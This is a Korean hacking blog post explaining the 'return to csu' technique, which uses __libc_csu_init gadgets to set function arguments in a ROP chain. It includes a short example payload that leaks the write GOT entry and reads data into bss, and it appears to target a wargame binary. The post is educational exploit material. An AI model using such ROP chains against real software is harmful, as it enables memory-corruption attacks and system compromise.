HO_9
HO9
HO_9
전체 방문자
오늘
어제
  • 분류 전체보기 (104)
    • Write Up (3)
    • WarGame (21)
      • The Lord of Bufferoverflow(.. (7)
      • The Lord of Sql Injection(L.. (1)
      • Pwnable.kr (1)
      • Pwnable.tw (0)
      • XSS GAME (6)
      • Pwnable.xyz (5)
    • SYSTEM HACKING (49)
      • 기법 (24)
      • 문제 풀이 (24)
    • CODING (2)
      • PYTHON (2)
    • WEB HACKING (1)
    • Plan (0)
    • PROJECT (0)
    • iOS (6)
    • ALGORITHM (0)

블로그 메뉴

  • 홈
  • 태그
  • 미디어로그
  • 위치로그
  • 방명록

공지사항

  • .

인기 글

태그

  • log4j
  • 취약점
  • 아파치
  • JNDI

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
HO_9

HO9

Return to Csu
SYSTEM HACKING/기법

Return to Csu

2020. 4. 26. 23:53
728x90

Return to csu

 

-특별하게 사용할 수 있는 Gadget이 없는 경우 __libc_csu_init()이라는 함수를 이용하면 

 함수를 호출 할 수 있게 인자를 설정을 할 수 있다.

 

 

[__libc_csu_init()]

 

이 사진을 보면 두가지 파트로 나누어진 것을 알 수 있다.

Exploit을 하기 위해서는 loc_400876부분에 있는 pop rbx 부분으로 rip를 지정을 해준다.

 

그 후 값을 지정을 하면 pop rbx,rbp,r12,r13,r14,r15를 하게 될 것이다.

r13,r14,r15d에는 함수에 사용할 인자를 넣어주고
r12에는 사용하고 싶은 함수의 got를 넣어주어야 한다.(※r12에 plt의 주소를 넣으면 실행이 안됨.)

                                    

이후 retn값에 loc_400860의 값을 넣어준다.

그러면 r13,r14,r15d에 있는 값이 rdx,rsi,edi으로 이동이 되면서 함수를 이용을 할 수 있는
인자가 준비 되는 것이다.

그 이후 call부분을 보면 [r12+rbx*8]을 호출을 해준다.

만약 rbx에 0 이외에 다른 값을 넣어주면 call이 이상한곳으로 될 것이다.

.

.

.

이후 cmp,jnz를 이용해서 chain을 이어갈 수도 있다.

 

 

예시 Payload

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload  = '' 
payload += "A"*0x40 + "B"*8
payload += p64(init)
payload += p64(0) #RBX
payload += p64(1) #RBP
payload += p64(e.got['write']) #R12
payload += p64(8) #RDX
payload += p64(e.got['write']) #RSI
payload += p64(1) #RDI
payload += p64(0x400860) #RET
 
payload += "B"*8
payload += p64(0) #RBX
payload += p64(1) #RBP
payload += p64(e.got['read']) #R12
payload += p64(len(binsh)) #RDX
payload += p64(bss) #RSI
payload += p64(0) #RDI
payload += p64(0x400860) #RET

 

처음에 chain을 시도 했을때

chain이 제대로 되지 않았다.그 이유를 __libc_csu_init의 loc_400876 부분을 보고 깨달았다.

확인을 해보면 add rsp,8를 해주게 되는데...

이것 때문에 8칸씩 밀려서 제대로 된 값이 들어가지 않았던 오류가 있었다.

그러므로 chain을 이용을 할 것이면 계속해서 dummy를 넣어주어야 한다.

'SYSTEM HACKING > 기법' 카테고리의 다른 글

Leak Stack Address  (0) 2021.05.02
Windows Universal Shellcode - 이론  (1) 2021.04.02
[How2Heap] House of Force  (0) 2018.03.08
[How2Heap] House of Spirit  (0) 2018.02.01
[How2Heap] Fastbin dup into Stack  (0) 2018.01.28
    'SYSTEM HACKING/기법' 카테고리의 다른 글
    • Leak Stack Address
    • Windows Universal Shellcode - 이론
    • [How2Heap] House of Force
    • [How2Heap] House of Spirit
    HO_9
    HO_9

    티스토리툴바